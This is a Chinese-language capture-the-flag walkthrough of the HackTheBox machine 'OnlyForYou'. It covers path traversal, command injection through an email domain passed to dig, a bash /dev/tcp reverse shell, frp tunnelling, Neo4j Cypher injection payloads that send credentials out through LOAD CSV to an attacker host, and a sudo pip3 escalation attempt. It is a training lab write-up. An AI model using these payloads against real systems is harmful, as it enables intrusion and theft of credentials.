htb-onlyforyou打靶

信息收集

nmap先扫下端口

image-20231011203203052

开放22,80,先看80端口有什么东西

自动跳转域名了无法访问,加个hosts解析成功访问

访问慢的可以连一下物理机的代理,在vpn文件里添加

1
2
socks-proxy-retry
socks-proxy 192.168.1.1 7890

image-20231011203324373

image-20231011212745554

没找到什么cms可用信息

image-20231011212832673

翻到一个链接,同样添加hosts在访问

image-20231011214011368

可以直接下载源码

image-20231011214129643

代码审计

任意文件下载

定位到关键路由download

image-20231011214539237

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route('/download', methods=['POST'])
def download():
image = request.form['image']
filename = posixpath.normpath(image)
if '..' in filename or filename.startswith('../'):
flash('Hacking detected!', 'danger')
return redirect('/list')
if not os.path.isabs(filename):
filename = os.path.join(app.config['LIST_FOLDER'], filename)
try:
if not os.path.isfile(filename):
flash('Image doesn\'t exist!', 'danger')
return redirect('/list')
except (TypeError, ValueError):
raise BadRequest()
return send_file(filename, as_attachment=True)

可以看到对../做了过滤,直接访问/download是不行的,还有两个功能点可以上传

上传之后会跳转到list

image-20231011215547151

抓取下载包

image-20231011221551898

成功绕过,其实/etc/passwd也行

image-20231011221759558

下载不了ssh私钥,不然可以免密登录

image-20231011223048751

读取nginx配置信息

image-20231012225618657

image-20231012225635570

继续读取主机文件,找到绝对路径,两个站点,一个是最开始访问的only4you.htb,另一个是刚刚拿到源码的,beta站

image-20231012225642135

猜测和beta站目录结构一样,读取下app.py

image-20231012230750528

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid

app = Flask(__name__)
app.secret_key = uuid.uuid4().hex

@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
email = request.form['email']
subject = request.form['subject']
message = request.form['message']
ip = request.remote_addr

status = sendmessage(email, subject, message, ip)
if status == 0:
flash('Something went wrong!', 'danger')
elif status == 1:
flash('You are not authorized!', 'danger')
else:
flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
return redirect('/#contact')
else:
return render_template('index.html')

@app.errorhandler(404)
def page_not_found(error):
return render_template('404.html'), 404

@app.errorhandler(500)
def server_errorerror(error):
return render_template('500.html'), 500

@app.errorhandler(400)
def bad_request(error):
return render_template('400.html'), 400

@app.errorhandler(405)
def method_not_allowed(error):
return render_template('405.html'), 405

if __name__ == '__main__':
app.run(host='127.0.0.1', port=80, debug=False)

rce

复制出来审计,前面都正常flask,发现有个from form,这是beta站没有的

image-20231012230758964

继续读取这个form.py

image-20231012225704368

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress

def issecure(email, ip):
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "v=spf1" not in output:
return 1
else:
domains = []
ips = []
if "include:" in output:
dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
dms.pop(0)
for domain in dms:
domains.append(domain)
while True:
for domain in domains:
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "include:" in output:
dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
domains.clear()
for domain in dms:
domains.append(domain)
elif "ip4:" in output:
ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
ipaddresses.pop(0)
for i in ipaddresses:
ips.append(i)
else:
pass
break
elif "ip4" in output:
ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
ipaddresses.pop(0)
for i in ipaddresses:
ips.append(i)
else:
return 1
for i in ips:
if ip == i:
return 2
elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
return 2
else:
return 1

def sendmessage(email, subject, message, ip):
status = issecure(email, ip)
if status == 2:
msg = EmailMessage()
msg['From'] = f'{email}'
msg['To'] = 'info@only4you.htb'
msg['Subject'] = f'{subject}'
msg['Message'] = f'{message}'

smtp = smtplib.SMTP(host='localhost', port=25)
smtp.send_message(msg)
smtp.quit()
return status
elif status == 1:
return status
else:
return status

来到这一行,这里的run是subprocess模块的

image-20231012225720186

看不明白用chatgpt解释一下,比自己找文档要来的快

image-20231012225726656

那么只要domain是可控的,我们就可以执行命令,跟进domain这个变量

image-20231012225732568

继续跟进这个函数,在这里被调用

image-20231012225836493

继续跟进sendmessage函数,在app.py中被调用

image-20231012225740872

看到路由为/,那么应该就是首页这里提交的数据了

image-20231012225749223

抓包,慢慢fuzz

image-20231012225755743

这里要绕过正则才行,也就是必须要是email格式,从@开始切割,取第二个值,用;后面跟命令就行

image-20231012225803137

反弹shell

这里是没有回显的,本地起个http查看是否执行成功

image-20231012225857951

成功执行

image-20231012230223767

反弹一个shell回来

image-20231012230256418

shell.txt内容

1
bash -i >& /dev/tcp/10.10.16.3/9001 0>&1

打到这里机器重启了,所以后文ip会变

提权

本地信息收集

反弹回来的权限很低

image-20231013160203388

image-20231013182034964

发现了几个不对外开放的端口:3306,3000,7474等

frp内网穿透

因为这里的几个端口是不对外开放的,所以要将它代理出来

frps.ini

image-20231014145235532

frpc.ini,这里server_addr是kali vpn的地址

image-20231014145007009

用wget从kali上直接下载过去,启动

image-20231014145344474

image-20231014145330559

分别访问

image-20231014145436804

image-20231014145539471

neo4j注入

总结当前信息:3000端口为Gogs 7474端口是neo4j 8001端口 admin/admin弱口令可以登录

image-20231014150012923

通过searchsploit搜索到相关漏洞

image-20231014150530444

验证发现不是这个,继续往下看到搜索框,尝试注入

image-20231014151520440

找下neo4j的注入方法:https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j#common-cypher-injections

1
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.16.6/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // 

可以看到成功返回了版本信息

image-20231014152436168

获取表

1
1' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.16.6/?label='+label as l RETURN 0 as _0 //

image-20231014152702147

获取账号密码

1
1' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.16.6/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

image-20231014152814197

拿到密码

john

image-20231014153005382

admin

image-20231014153032170

碰撞下ssh,john登录成功

image-20231014153317237

拿到第一个flag

image-20231014153432237

pip提权

发现一个sudo权限的命令 pip3

image-20231014153621969

关于pip提权 https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/

先下载需要的文件 https://github.com/wunderwuzzi23/this_is_fine_wuzzi.git

image-20231014154753598

修改setup.py

image-20231014154938575

然后编译

image-20231014155108827

编译完成后dict目录会有一个压缩包

image-20231014155221062

现在登录Gogs,也就是我们刚刚从neo4j跑出来的账号 john/ThisIs4You

进入仓库,将私有取消

image-20231014155516556

然后上传刚刚编译好的压缩包文件

image-20231014155642874

不知道为什么下载一直报解压错误,猜测可能是我kali是arm架构的,编译的包x64无法使用

image-20231014164235124